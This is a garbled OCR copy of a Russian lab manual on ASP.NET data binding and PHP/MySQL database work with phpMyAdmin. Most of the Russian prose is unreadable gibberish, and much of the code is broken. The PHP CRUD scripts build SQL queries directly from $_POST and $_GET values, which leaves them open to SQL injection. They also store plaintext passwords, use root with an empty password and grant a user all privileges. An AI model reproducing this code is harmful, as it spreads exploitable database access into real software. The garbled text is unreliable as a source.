MyDataL ist.DataBind()
end sub
</script>
<html>
<body>
<ASP:DataList id="MyDataList" RepeatColumns="1" RepeatDirection="Vertical"
runat="server">
<ltemTemplate>
<br><b>®UO: </b>
<%#DataBinder.Eval(Container.Dataltem,"Last_Name™)%>&nbsp;
<%#DataBinder.Eval(Container.Dataltem,"First_Name")%>&nbsp;
<%#DataBinder.Eval(Container.Dataltem,"Middle_Name")%>&nbsp;
<br><b>Tenepon: </b>
<%#DataBinder.Eval(Container.Dataltem,"Office_Phone™)%>&nbsp;
<br><b>Jlomxnocts: </b>
<%#DataBinder.Eval(Container.Dataltem,"Posit_Name™)%>&nbsp;
<br><b>Otnen: </b>
<%#DataBinder.Eval(Container.Dataltem,"Dep_Name")%>&nbsp;
<br><br>
</ltemTemplate>
</ASP:DataL.ist>
</body>
</htmi>
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http://192.168.0.7/Inetpub /mstuca_asp_net /Read_From_Web_Base.aspx - Microsoft |

Davin Opasxa Bna UsSparHoe Cepsnc Cnpasxa

<= Hazaa ~ =» & (2] =% LR Morck #d VisGparroe  ‘EiMeana B | Eh- 9 =

Aapec: [e ] hetp: ff192.168.0.7/Inetpub/mstuca_asp_net/Read_From_Web_ Base. aspx

DPHO: T anxkurn Humuartpui Bagnmosnawd

Temnedoss: 3568

HomsHocrs: AngMuHNCTPparop Has naHHBIX

O rmesx: OTRnern CONMpoBOXACHHAA HEPOPMallHOHHBIX CHCTEM

DHO: Jlesununa Jhoamuana AnexcannpoBHA
Tenedors: S043

HoroxcxrocTrs: TexHu4Yecku i qUpeKTOR
Ormesx: OrTnen paspaboTox

DPOHO: Murpaxoe Kupuann ApxaneeBdawd

Tenedoxsx: 91952

HorpxsxocTes: IIlporpaMMucT HTHPOPMaALIHMOHHEX CHCTEM
Ormex: OTnen paspaboTox

DOHO: Tepuaascxkun Anexcesn KOpremuwu

Tenedor: 3030

HAoscaxxmocres: IlporpaMmMiacT MHPOPMALIMOHHEX CHCTEM
O rmesx: OrTnen paspaboTok

PHO: Illanopanoe Brampmmup BrnanmmMmupoBnuwd
Tenxedox: 6756

HooosxsocTh: CHCTEMHE R aIMHHHCTPaATOPR

Ormesr: OTnern CONpoRBOXACHUA HHPOPMALIMOHHEIX CHCTEM

PHO: Illnuxuaa Japepa KoHcTaHTHHOBHA
<1

Pucynok 4. OkHO ¢ pe3yibTaTaMH BBIIIOJIHEHUS IPOTrPaMMBbl
JIucTUHT HIpOrpaMMbl I CO3JaHUsl CEPBEPHBIX JJIEMEHTOB
JEMOHCTPALUU JUHAMUAYECKOT0 U3MEHEHHS UX CBOMCTB IIPUBEIIEH HUXKE.

<% @ Import Namespace="System.Web.Ul.WebControls " %>

<html>
<head>
<title>Dynamic Table</title>
<script language="VB" runat="server">
Sub SubmitButton_Click(Source As Object, e As EventArgs)

Tablel.Bgcolor = Selectl.Value
Tablel.Border = Select2.Value

Tablel.Cellpadding = Select3.Value
Tablel.Cellspacing = Select4.Value

If Select5.Value ="1" Then

Trl.Bgcolor = Select6.Value
Else If Select5.Value = "2" Then
Tr2.Bgcolor = Select6.Value

Else If Select5.Value = "3" Then
Tr3.Bgcolor = Select6.Value

End If

If radiol.Checked = True Then
Labetl.Text=Textl.Value

Else If radio2.Checked = True Then
Labetl. Text=""

End If

End Sub

yIpaBIeHUs



</script>
</head>
<body>
<form id="Form1" method="post" runat="server">
<center>
<h3><asp:Label runat="server" id="Labet1">Table Header</asp:label></h3>
<br>
<table runat="server" id="tablel" cellspacing=3 cellpadding=3 border=1>
<tr runat="server" id="Tr1">
<td>One</td>
<td>NO_One</td>
</tr>
<tr runat="server" id="Tr2">
<td>Two</td>
<td>NO_Two</td>
</tr>
<tr runat="server" id="Tr3">
<td>Three</td>
<td>NO_Three</td>
</tr>
</table>
<p>
</center>
<br>
<br>
<br>
Table Header:
<Input type="text" runat="server" id="Text1" value="Table Header"></Input>
<br>
Table Background Color:
<select id="Selectl" runat="server">
<option value="#ffffff">bensiii</option>
<option value="#ff0000">KpacHsiii</option>
<option value="#ffff10">X&nrriii</option>
</select>
<br>

Table Border:

<select id="Select2" runat="server">
<option value="0">0</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>

</select>

<br>

Table Cellpadding:

<select id="Select3" runat="server">
<option value="0">0</option>
<option value="1">1</option>



<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>

</select>

<br>

Table Cellspacing:

<select id="Select4" runat="server">
<option value="0">0</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>

</select>

<br>

<p>

Select a Row:

<select id="Select5" runat="server">
<option>1</option>
<option>2</option>
<option>3</option>

</select>

<br>

Row Color:

<select id="Select6" runat="server">
<option>White</option>
<option>Yellow</option>
<option>Red</option>
<option>Blue</option>

</select>

<br>

Show Table Header:

<input type ="radio" runat="server" id="radiol" name="radiol" checked="true">Yes

<input type ="radio" runat="server" id="radio2" name="radiol">No

<br>

<center>

<input type="submit" runat="server" id="submit1"

value="Submit" onserverclick="SubmitButton_Click">

</center>

</form>

</body>

</html>
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Pucynok 5. OkHO ¢ pe3ynbTaTaMH BBIIIOJIHEHUS IPOTPAMMBI
Bomnpocs! k 3amure 1a00paTOpHON pabOThI

— Yro mouumaercs nox rexuosorueit .NET?

— Tlepeuncnure ocHOBHbIE KOMITOHEHTHI TexHOmoruu .NET.

— Yt0 noHUMaeTcs NoJ IPOCTPAHCTBOM UMEH?

— Kak n1o0aBuTh NpOCTPaHCTBO UMEH?

— TlosicHUTE CUHTaKCHUC UMITOPTUPOBAHUS IPOCTPAHCTBA UMEH.

— Kaxk ocymectBisercst 1octyn kK 1aHHbIM B cpene ASP.NET?

— Yewm otnmuaetcs nporecc kommwisiiyu B cpene .NET Framework?
— HazoBute ocHoBHBIC PpyHkMu Managed Providers.

— OcHoBHoe 3HaueHue o0bekTa DataSet.

— Kakue ctpyktypsl conepxut oobexT DataSet?

— Tlepeunciute OCHOBHbBIE THIIBI CEPBEPHBIX 37eMeHTOB yrpasienus B ASP.NET.

3. JlabopaTopHasi padora «Opranuszanus noaaep:xku 6a3ol 1aHubix B PHP»

Lenb pa®oThI: HAYUUTHCS CO3/1aBaTh Oa3bl JaHHBIX HA PHP

Kpatkue Teoperndeckne cBeACHUS

Bompmmm nocromnctBom PHP sBnsieTcst Hanmwume oOmmpHOro HaOOpa BCTPOSHHBIX
bynkumii 1 koHkpeTHbIX CYB/I, B Tom uncne ¢pynkumii s MySQL.

B Ip40 6w co3man momeH itrem.

Bxoaum B phpmyadmin

On naxoautcs mo azapecy: http://localhost/openserver/phpmyadmin/index.php (tak e
OH JOCTYIIEH U3 KOHTEKCTHOTO MeHto OpenServer-a, myHkr "Jlononaurensao>PhpMyAdmin")
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Bas 00RO e EBRO0O0EOS
JIist aBTOpHU3AIMK UCIIONIB3YEM TaKUE JaHHBIE:
M0JIb30BATEIB/TIAPOITH = F00t / -mycToii maposib-
moJib30BaTelb/maposb = mysql / mysql
MOXHO HCIIOJIB30BaTh 00a BapWaHTa, HO sI Obl PEKOMEHIOBAJl BTOPOW, a MMEHHO
mysql/mysql.
e¢) Cozmaem Ga3y itrem

v e BE0O0EO0a S

= - oa - ® W e B @006 GCS S

clcayromuM maroM, YyKa3biIBACM KaKHC HaM HYXHBI I10JIA (‘{aCTB CTOJI6I_[0B, A
IMPOIMYCTHUJI TaM OCTAaBJIAEM 3HAYCHU A HO-YMOJ'ILIaHI/IIO)
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HaxknumaeM COXpaHUTb.
Ecmu Bawm npome Oyaer Beimonanth SQL kon (Ha Bkiaake SQL) mMoxeTe mpocTo ero
CKOTIMPOBAThH OTCIO/IA:

# cozmaeM Oa3y
CREATE DATABASE itrem’;



# mepexirodaeM Ha 0a3y
USE “itrem’;

# co3maeM Ta0IHILy
CREATE TABLE IF NOT EXISTS "messages’ (
“id” int(11) NOT NULL AUTO_INCREMENT,
‘message” varchar(255) NOT NULL,
“date” date NOT NULL,
PRIMARY KEY ('id")
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;

k) mumreM Takoi ko, B darin C:\Progr\OpenServer\domains\itrem\index.php

OO6patuTe BHMMaHHWE Ha KOJAMPOBKY (haitia, oHa momkHa ObITh "UTF-8 6e3 BOM",
npoBeputh B Notepad++ 370 MOXKHO B BepXHEM MeHI0, B paszaeie "Komuposku".

<?php

header('Content-Type: text/html; charset=utf-8");

$db_host = 'localhost’;
$db_username = 'mysql’;
$db_password = 'mysql’;
$db_name = "itrem’;
$db_charset = 'utf8";

$is_connected = @mysgl_connect($db_host, $db_username, $db_password);
Sis_db_selected = $is_connected ? @mysqgl_select_db($db_name) : FALSE;

$errors = array();

if (1$is_connected) $errors[] = 'He mory coemuHuTLCS ¢ 6a30ii TaHHBIX
if (1$is_db_selected) $errors[] = 'He mory HaiiTu 6a3y JaHHBIX |

if (lempty($_POST['f_submit']) AND $is_connected AND $is_db_selected)
{

if (empty($_POST['f text]) OR !trim($_POST['f_text]))

{

$errors[] = 'He BBeneH tekcT coobmeHms!";

¥

else

{

if (mb_strlen(trim($_POSTI['f_textT), 'utf-8")>255)
{

$errors[] = 'Tekct coobieHns He MOKET MpeBbIIaTh 255 cMMBOIIOB!';

¥

else

{
$sql = 'INSERT INTO “messages” SET

‘message ="".mysql_real_escape_string(trim($_POST['f_text])).",
“date’=NOW()



$result = mysql_query($sql)
or die('Query error:".$sql.");

Header('Location:?");
}
}
}

7>

body {font-size:11px; font-family:Arial;}
.errors {color:red;}

div.message {;border-;}

div.message .date {color:blue;}
div.message .text {color:green;}

TexcT cooOmeHus
<?php

if (lempty($errors))
{

echo'

foreach ($errors as $err)

{

echo ".htmlspecialchars($err).";

¥

echo "

¥

if ($is_connected AND $is_db_selected)
{

$sgl ="'SELECT * FROM "messages' ORDER BY ‘id" DESC;
$result = mysql_query($sql)
or die('Query error:".$sql.");
if (is_resource($result) )
{
echo "
while ( $row = mysql_fetch_assoc($result) )

{

7>
<?=date('d.m.Y",strtotime($row['date]))?> -
<?=htmlspecialchars($row['message])?>

<?php
}

by
¥

7>
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Xom paboThI
3aganue 1. Co3nats b/[ B PHP.
1 Coznaiite 6a3y maHHBIX itrem.
2 Coszmaiite B]1 «site_new»[.. -

|

2.1 IIporpamma coobmraer Ham, uTo «bJ] Site_new Obuta co3mana». B jJeBOM OKHE MBI
BUJUM Ha3BaHHE HOBOW 0a3bl JaHHBIX. TyT ke HaM yKa3bIBalOT Ha TOT (akT, uto «B B/l He
oOHapyxkeHO Tabmuuy». Bce ganHble B 0azax naHHbIX XpaHsATcs B Tabnumax. Cosmaem
tabdauny. HazoBeMm tabnuiy «userlisty. B 3Toit Tabnuiie OyayT XpaHUTHCS JJOTUHBI U MTAPOIIH.
B Bepxnem oxHe popmbl uniem ums Tabiuibl. B HibkHEM - KonnyecTBO monied. Mx B Hamiei
tabmuie oyner 3. Haxxumaem kHonky «Ilomemy. OTKpbIBa€TCS HOBOE OKHO:

B LS

| et

B sTrom okHe MBI Oyaem 3amoiHATh HOBYIO (opmy. B cronbue «Ilome» ykaspiBaem
Ha3BaHus mosieii: 1 mome — id (YHHKadbHBIN TOPSIKOBBIA HOMEpP, KOTOPBIM, JaHHOE MOJe
OyZeT OTIUYaThCs OT JIPYTHX); 2 moJie — USEr (31ech OyIyT XpaHUThCS JOTHHBI); 3 ToJie — Pass
(mone mns maponeit). B crombue «Tum» ykaszpiBaem Tumbsl Hamux mnonei: 1 mome —
INT(uuppoBoe mone); 2 u 3 noire — VARCHAR (no6as undopmanusi). B cronbue
«/lmuubl/3HaueHus» yka3piBaeM, JUIMHHBI mojei: 1 mone — 5; 2 u 3 mosne — 10. B cTonGie
«JonmomauTensHo» s moiist «id» BeIOMpaeM «auto_increment» M HAKUMaeM Ha PaJlMOKHOIIKY
B cTOJI01IE ¢ KiItouoM. OcTaoch HaxaTh KHONKY «CoxpaHuTh». OTKphIBa€TCS HOBOE OKHO:



Tadauna co3nana. [loist, TUIBL ¥ pa3Mepsl yka3aHbl. 3akpsiBaecm PHPMyAdmin.

2.2 3axomum B mporpammy PhpMyAdmin. M3 Beimagaromiero crucka 0a3 JaHHBIX
BbIOMpaeM «site new». Bumum moa Ha3zBaHMeM O0a3bl 3HAYOK TaOJMIBI C Ha3BaHHEM -
«userlisty. JKmem Ha 510 Ha3Banwue. [lepen Hamu TabdJauma, HO coBepIIEHHO MycTas. YToObI
HAIOJIHUTh €€ CMBICIIOM U COJACPKAHUEM JOCTATOYHO HaxaTh «BCTaBUTh» B HaBHTAIUW HAJ
Tabnuield B MpPaBOM OKHE NporpaMMmbl. B HOBOM OkHe mepes; HamMu JBe (OPMBI st
3amoJiHeHUsI (B 3aBUCUMOCTH OT BEPCHHM MOKET MOABUTHCA U oAHA (¢opma) 3amoiHsieM 5TU

(bopMBI.

T T S T p e

2.3 B aroii Tabnuie OyayT XpaHUTHCS JIOTHHBI M TIApOJIN TOJIb30BaTeeH ATOM 0a3bl
atoro caiita. [Iycts nmepBbIii mosb3oBarens umeet ID = 1; USER = USER_1; PASS = 12345; a
Bropoit - ID = 2; USER = USER_2; PASS = 67890. KoneuHo, JIOTUHBI ¥ TapoOjd MOXKHO
BBIOMpATh JTI00bIe. Haxknmaem Ha paguokHONKY «BCTaBUTh HOBYIO 3aITUChY; 3aTEM, HA KHOTIKY
«ITomen». Hamm naHHble BcTaBieHsl B Taduaumy. [IpocMOTpeTh 3amucu MOXKHO, HakaB
KHOTIKY «O030p» B HaBUT ALK Hal TaOIuIEH.

1 == |
—
JlaHHBIC B TA0JIMIE MOXXHO PEIaKTHPOBATh M yAaNATh. UTOOBI yIaduTh BCE JaHHBIC U3
CTPOKH, BMECTO KapaHjallia HAKMUTE KPECTHK.
2.4 Kornia co3manu 6a3y JaHHBIX, HCOOXOIUMO Cpa3y CO3/1aTh MOJb30BaTe/s. B neBom
OKHE MpOrpaMMbl KIWKHYTh IO JOMHMKY M IIONajaeM B caMo€ Hadaio. B mpaBoM OKHE
HaxoauM: «[IpuBmierun» W HaxkumaeM. B HOBOM oOkHe HaxoauM: «J/l00aBUTH HOBOTO
MOJIb30BATENIs» M HaKMMacM. B OTKpBIBIIEMCsS OKHE 3aloJIHAEeM BepXHIOW ¢opmy. NUms =
user_1; xoct = localhost; mapone = 12345; noarBepxaenune = 12345. B «rioGaibHBIX
MPUBHJICTUSAX» MPOCTABIIAEM TaJiOK 0 BCEM KBaJpaTHKaM, YTOOBI HAIl MOJb30BaTENb HE ObLT
OrpaHUYEH B ITpaBax.
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Haxumaem «Ilomen». Ilomp3oBarens co3maH, O 4eM COOOIIAIOT B HOBOM OKHE.
CosznaBath MOJIb30BATENS HYKHO IS OCyIecTBiIeHus O6e3omacHocT b1,

BosmoxkHocts  coemuHUThCs ¢ BJI, BBIMOMHUTH  3ampoc/qUEry, HamedaTaTh
Pe3yIBTHPYIOMINE PSbl 1 oTcoenuHuThes oT b/l MySQL.

Coznaem ynpasmusitomuit PHP ckpurr.

Jlms nHayama HaM HEOOXOAMMO COCIOMHHUTLCS C 0a30d JaHHBIX, BBEIS JTaHHEBIC
CO3JIaHHOTO HAMH TTOJIH30BATE/ ISl M 3aHECTH MOJYUHBIIHICS PhP KOX B caMblii BEpX CTPAHHUIIBI
(cpa3y o Terom ):

<?php

$connect = mysql_connect("localhost”, "root", ™) or die("HeBo3MOKHO yCTaHOBHTH
coequnrenue!”.mysql_error());

mysql_select_db(site_new,$connect) or die("HeBo3MOXHO yCTaHOBUTH CBS3b C
BA!".mysql_error());

/lco3nath 3ampoc

$sql = "SELECT * FROM userlist";

$result = mysql_query($sql) or die(mysql_error());

//OTobpasuTh nanubie U3 b/l Ha Web-cTpaHuiie B BUIE TaOIUIIBI

$table ="

$table.="";
$table .="

N‘_)";

$table .="
[Tonws30Barens'™;
$table ="
[Tapons";
$table ="

while (list($id,$user,$pass) = mysql_fetch_array($result))
{

$table .="";

$table .= "

" $id."";

$table .=

" Suser."";

$table .= "

" $pass."";



$table .=

$table .= "

}
$table .=

echo $table;
7>

BriHOCHM yTIpaBIsIONINI KO BO BHEITHUHN (haiill.

BreiHecem php kox B otaenbHbIi daitn, ¢ HazBanuem db_connect.php u mo6asum ero Ha
KaXJIyI0 CTpAHHUIlY caiiTa MPU MOMOIIIN:

<?php

include ("blocks/db_connect.php");

?>

JloGaBnenue 3anuceii B B[

Heo6xomumo cosmate HTML-daiin, B kotopom pa3menieHbl (OpMBI JJIsS BBOJA
HEOOXOIUMBIX 3aIIUCEN:

f_insert.ntml

Brenute nanHbie B CBOOOIHBIE TTOJIS

Bseante Ne:

BBeante nms:

Beenure napoJib:

3areM co3nath Qaiin .php, KOTOPEI MO3BOJISIET TPOU3BECTH T00aBIeHME 3amucei B b/1:

Insert.php

<?php

$id_add=$ POST['add_id1;

$user_add=$_POST['add_user'];

$pass_add=$ POST['add_pass'];

if (trim($id_add) and trim($user_add) and trim($pass_add))
{
$connect = mysql_connect("localhost", "user_1", "12345")
or die("Could not connect".mysql_error());
echo "Connected successfully";
mysql_select_db("site_new",$connect);
$result = mysql_query("INSERT INTO userlist(id,user,pass) VALUES('$id_add',
‘Suser_add', '$pass_add")");
if ($result==true)
{
echo "
I[aHHLI@ YCIICIIHO BHCCCHBI

¥

else

{

echo "
Ommbka npu 100aBICHUH TaHHBIX

¥



mysql_close($connect);

}

else

echo "<div align=center> <div class=error>3amnoyHuTe BCE MOJIA U MOBTOpPHUTE BBOAdIV>
div>";

7>

VY nanenue 3anuceut u3 b/|
f_delete.html
Breaute uMs, KoTopoe HEOOXOIMMO YAAIUTD

VY naneHnue 3anucu:

Delete.php
<?
$user_y=$ POST['del_user1;
//Connect to DB
$connect = mysql_connect("localhost","user 1", "12345™);
mysql_select_db("site_new",$connect);
//[End connect
$result = mysql_query("DELETE FROM userlist WHERE id=$user_y");
if ($result==true)
{
echo ™
I[aHHBIe YCIICIIHO YOaJICHBI

¥

else

{

echo "

OmmbKa npu y/I1aJeHu! TaHHBIX

}
mysql_close();
7>

html>

dopma U3MEHEHUS CYIIECTBYIOIICH 3aMUCH:

f_update.php

3anoaHUTE CBOOOIHBIE OIS, K3MEHUB HEOOXOIUMYIO 3aIHCh
Howmep:

Nwms:

MapoJb:

HN3menurs'>

<?

$connect = mysql_connect("localhost”, "user_1", "12345")
or die("ba3a naHHpIX He OAKIIOYEHA");
mysql_select_db("site_new",$connect);



$sql = "SELECT * FROM userlist™;
$result = mysql_query($sql) or die(mysql_error());
$table ="

$table .= "";

$table .= "

Homep",;

$table .= "

Nwma™;

$table .= "

[Tapoinp";

$table .= "

V\’/hile (list($id,$user,$pass) = mysql_fetch_array($result))
{
$table .
$table .
" $id."";
$table ="

$table .= "

$table .

}
$table .= "

e;:ho $table;
mysql_close();
>

Update.php

<?

$id_new=$_POSTT'id_up'];
$user_new=$ POST['user_up';
$pass_new=$ POST['pass_up1;

if (trim($id_new) and trim($user_new) and trim($pass_new))

{

$connect = mysql_connect("localhost”,"user_1", "12345");

mysql_select_db("site_new",$connect);

//End connect

$result = mysql_query("UPDATE userlist SET user='$user_new', pass='$pass_new'
WHERE id="$id_new"");

if ($result)

{

echo "

I[aHHBIe YCIICHIHO OOHOBJIEHBI



¥

else
echo "
Ommbka rnmpu 0OHOBIICHUU JaHHBIX

¥

//Disconnect

mysql_close();

}

7>

[Tpumep 1. [Ipumep pabotsr pacmupenus MySQL

<?php

[* Coenunenue, Beioop BJI */

$link = mysql_connect("mysql_host", "mysql_user", "mysgl_password")
or die("Could not connect");

print "Connected successfully";

mysql_select_db("my_database") or die("Could not select database");

[* Beimonnenue SQL query */
$query = "SELECT * FROM my_table™;
$result = mysql_query($query) or die("Query failed");

[* Tleuats pe3ynbratoB B HTML */
print "

\n";

while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
print "\t\n";

foreach ($line as $col_value) {
print "\t\t

$col_value\n";

}

print "\t

\n";

} -

print "

\n";

I* OcBoboxaenue resultset */
mysql_free_result($result);

[* 3akpeiTue coenuueHus */
mysql_close($link); ?>
[Tpumeps! ncxoausIx ¢aitnos Ha PHP:

PaccMOTpHM TIpHMEpPHI CKPHUIITOB JUIsl J00ABIICHMs, yIAICHHs, PEIAKTHPOBAHUS H
MOMCKA JIAaHHBIX B 0a3€ JaHHBIX CO CIICAYIOIIMMH MOJIIMU:

Nwms - user_name

tenedoH - phone

dororpadus - img (ums daiiza, KOTOpBIH HaxoauTcs B Kataiore foto/)



Ckpunt 06paboTKH 3arpyKaeMbIX JTaHHBIX.

[lepen moaxmrouenue kK b/l Hy)KHO MONTY4InTh IEpeMEHHBIE TIOCTanHble MeTotoM GET
$stud=$_GET['student];

$name=$_GET['username'];

<?php

[* OnpenensieM 3HaUYEHUS TIEPEMCHHBIM */

$hostname="localhost";

$username="Bam_siorun";

$password="Bam_mnapos";

[* Ims 6a3bl HaHHBIX */

$dbName="Wms_paieii 0a3bl_JaHHBIX";

[* ms tabauns! */

$usertable="Mms_Tabmuisr";

[* Cozngath coequnenue ¢ MySql*/

MYSQL_CONNECT ($hostname,$username,$password) OR DIE("He MOT'Y
MOJICOCTUHUTRCA");

[* Beioop BJ1 */

MYSQL_SELECT_DB($dbName) or die("He mory Beiopats BJI");

I* Beenenne nadopmaryu B b1 */

$query="INSERT INTO $usertable VALUES (‘$user_name','$phone','$img")";

$result=MYSQL_QUERY ($query);

[* 3akpeiTh coenuHeHHE */

MYSQL_CLOSE();

print "3anuch BBeacHa B B/1!

?>
Ckpunt 00paboTKH MOMCKOBOTO 3aIpoca

<?php

$hostname="localhost";

$username="Bam_siorun";

$password="Bam_mapon";

$dbName="Wms_Bamieii 0a3bl_mgaHHBIX";

$usertable="Mms_Ttabnuisr";

[* Co3nate coequnenue ¢ MySql*/
mysql_connect($hostname,$username,$password) or die("No connect™);
mysql_select_db("$dbName") or die("No select DB");

/* BoIOpaTh J0/ieii, IMEHa KOTOPBIX HaunHaroTcs Ha $Usr_name */
$query="select * from $usertable where user_name like '$user_name%"";
$result=mysql_query($query);

[* CKOJIBKO HAIUIOCh TAKUX COTPYIHUKOB? */
$number=mysql_numrows($result);

[* PacnieuaTka BEIOpaHHBIX COTPYTHHKOB */

$i=0;

if (Snumber == 0)

{

print "Het nannsix o $user_name B B/]

¥



elseif ($number > 0)

{

while ($i < $number)
{
[* TIpucBoeHue IepeMeHHBIM 3HAYCHUH TIOJICH USer_name, phone, img aus i-i
crpoku */
$user_name=mysql_result($result,$i,"user_name");
$phone=mysql_result($result,$i,"phone");
$img=mysql_result($result,$i,"img");
/* BpIBO/I HAICHHBIX 3HAUCHUU */
print

"-<?php
$hostname="localhost";
$username="Bam_siorun";
$password="Bamu_napos";
$dbName="Wms_pameii 06a3bl_JaHHBIX",
Susertable="Mwms_tabnuupr";
mysql_connect($hostname,$username,$password) or die("No connect™);
mysqgl_select_db("$dbName") or die("No select DB");
[* Y nanenue 3amucu AJis moJis User_name */
$query="delete from $usertable where user_name="$user_name™";
$result=mysql_query($query);
print "3amuce yaaneHa

7>
CKpuIT pelaKkTUPOBAHUS TAHHBIX

<?php

$hostname="localhost";

$username="Bam_siorun";

$password="Bam_mapoin";

$dbName="Wms_paieii 6a3bl_JaHHBIX";
$usertable="Mms_rtabnuner";
mysql_connect($hostname,$username,$password) or die("No connect™);
mysql_select_db("$dbName") or die("No select DB");

[* Be10op 3amnucu 1o mosro User_name */

$query="select * from $usertable where user_name='$user_name™";
$result=mysql_query($query);

[* Onpenesnenue CymeCTBOBaHUS BRIOPaHHOM 3amucu */
$number=mysql_numrows($result);

if ($number==0)

{

print "HeT Takoii 3amucu!

¥

else

[* Ecin 3anmch BeIOpaHa u3 0a3bl IaHHBIX, BBIBECTH BCE €€ MO B (hOpMY IS
pPENaKTUPOBAHUS U YAAIHUTh ee */

$phone=mysql_result($result,0,"phone");



$img=mysql_result($result,0,"img");

}

7>

Ckpunt [utst 3arpy3Kl OTPEJaKTUPOBAHBIX TAHHBIX

<?php

hostname="localhost";

$username="Bam_siorun";

$password="Bam_mapon";

$dbName="Wms_paieii 0a3bl_JaHHBIX";

$usertable="Mms_Ta0auisr";

/* Co3nath coenuuenue */

MYSQL_CONNECT($hostname,$username,$password) OR DIE("He MOT'Y
MOICOCAMHHUTHCS');

/* Beibop BJ1 */

MYSQL_SELECT_DB($dbName) or die("He mory Bsiopats BJI");

I* Beenenne nadopmaryu B b1 */

$query="INSERT INTO $usertable VALUES (‘$user_name','$phone',"$img")";

$result=MYSQL_QUERY ($query);

[* 3akpeiTh coenuHeHHE */

MYSQL_CLOSE();

print "3anuce BBeJcHA B bA!

7>

Opranuzanus cBsizeld Mexay TadbauiaMu 06a3el JaHHbix B PHPMyAdmin

Jlnst Toro, 4roObl CBsA3aTh TAOJHUILI IO IOJSAM, HEOOXOOMMO CHadana A00aBUTh B
UHJIEKC CBs3biBacMble moyss: B phpmyadmin BeiOupaem TaOmuily, BBIOHpacM pPEXKUM
CTPYKTYPBI, BBIICISIEM IIOJIC, JJIi KOTOpPOro OyaeM JellaTh BHEIIHIO CBS3b M KIHUKAEM

Hunexc.
] Obsop ¥ Crpyktypa LJ SQL 4 Mouck 3t BcraBuTh i 3kcnopT =) WMnopt  #° Onepauun 2% Tpurrepst
# Nma Tun CpaBHeHne Atpubyro Null Mo yMonuauuo [ononHutensHo [leicTBue
0 1id int(11) HeT Her AUTO_INCREMENT 7 MsMeHuTs @ YAanuTh [F] 0630p yHUKaNsHLIX 3HaueHn! w Ewé
[] 2 title text  utf8_general ci HeT Hert & ViamennTs @ YaaimTe (=] 0630p yHUKaAeHLIX 3HaYeHN w Ewe
[] 3 body text  utf8_general_ci HeT Her & ViamenuTs @ YoanuTh [ o] 0B30p yHUKasbHLIX 3HaHeHWn W Ewé
[ 4 description text  utf8_general ci HeT Het &7 Vamennte @ YaammTe || 0B30p yHUKankHLIX 3HaYeHUn W Ewg
[ 5 keywords text utf8_general_ci HeT Her & Vamennts @ YaanuTh (5] 0630p yHUKanbHbIX 3HageHWin v Ews
ivi 6 part_id int(11) HeT Het & Viamennts @ YpanuTs | | 0630p yHUKasbHLIX 3HaYeH W Ewg
[ 7 wrl text  utfg_general_ci HeT Het & ViavenuTe @ YaanuTe (] 0630p yHUKaneHLIX 3HaYeHW! w Ewé
[] 8 date date HeT Her & ViameHnTe @ YAanmTe =] 0630p yHNKasbHLIX 3HaYeHni w Ellg
1t OTMeTuTE BCe / CHATE BbiSNeHNE C OTMEYEHHBIMM: O630p & W3mennts @ Yaanute > MNepBUYHBIN U YHVKaNbHbIA ( WHaexc )

g—

(& Bepcus ansnedatun f Ceasun Fi AHanua cTpykTypsl Tabnuuel @

#¢ fobasuTe |1 none(s) @ B koHely Tabnuuel O B Havano Tabauuyel O MNocne | id | (oK

OOpature BHMMaHue Ha pasHuily mexay "Huanexc" m "YHukanbHbIi". YHUKaTbHBIHI
MHJIEKC MOKHO

UCII0JIb30BaTh, HAPUMEP, A0 MoJis id, TO €CTh TaM, IJie 3HAUYCHHSI HE TTOBTOPSIFOTCS.

310 K€ AeHCTBIE MOXKHO clieaTh ¢ nmomombo SQL-3amnpoca:

ALTER TABLE ‘table_name™ ADD INDEX ( “field _name’ ) ;

AHanoru4Ho no0aBisieM UHIEKC (TOJIBKO B MOEM cllydae Terephb YK€ YHUKAJIbHbBIN WU
NePBUYHBIN) ISl TAaOJHIIBI, HA KOTOPYIO cchltaeMcs, 1uist monist 1d. Tlockonbky mose id y MeHs
UACHTU(UKATOpP, JJIS HEro [elaeM TMEPBUYHBIA KIIOY. YHHKAJIBHBIM K04 MOT OBl
MOHAI00UTCS ISl IPYTUX YHUKAJBbHBIX MOJIEH.
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Cs3u:

] 0bsop M Crpyktypa L] sqQL -4 Mouck 2-5 BeraButh | [ 3xkcnopT | |5} WMnopT J‘“ Onepauuu 25 Tpurreps

# WNms Tun  CpaBHeHne Atpubytul Null Mo yMonyaHuio [ononHuTenbHo [eitcTBue
v 1lid int(11) Het Her AUTO_INCREMENT . ViamMernTe @ YAanmTe | | 0630p yHMKansHLIX 3HaYSHIA w Euig
] 2 name text utf8_general ci Het' Her & ViameruTe @ YAanuTe [ 7] 0630p yHNKaALHLIX 3H34eHn w Eilg
] 3 id_parent int(11) Het 0 & Nameruts @ YaanuTe [] 0630p yHUKanbHbIX 3Ha4eHnn w Ewé
[J 4 description text utf8 general ci Het Hert & Vamerute @ Ypasauth |5] 0630p yHuKanbHbIX 3HaYeHNn W EWs
[ 5 keywords text utf8_general_ci HeTt Her & Viamerute @ YaanuTe [5] 0630p yHUKanEHbIX 3HaYeHUA W EWwé
J 6 urd text  utfg general ci Het Her & VismernTte @ YoanuTs | ] O630p YHUKaNbHLX 3Ha4eHNA W Ews
1 OTmeTuT: BCe [ CHATL BaigeneHne CoTMevenHsMu: (5] O630p & Vismeruts @ Yaanums m YHVKabHbIA = WHaekc
& Bepcvis ana nevatv f CeAsu 1 AHanua CTPYKTypsl Tabanus @ \J
#¢ [obasute |1 none(s) ® B koHeu Tabnuusl O B Havano Tabauusl O Mocne| id hd) OK

C momomisio SQL-3ampoca:

ALTER TABLE ‘table_name” ADD UNIQUE ( field_name’);

Tenepb ocTanock TOJNBKO CBA3aTh TAOMUIBL. [[1s 3TOro KiMKaeM BHHM3Yy Ha HYHKT

] O63op 4 Crpyktypa [LJ SQL , Momck ¥t BcrasuTb « IkcnopT =} MnopT 4’ Onepauyuu 2= Tpurrepsl }
# Nms Tun CpaBHeHue ATpubyrni Null Mo ymonuauuio [ononHutenbHo [eicreue

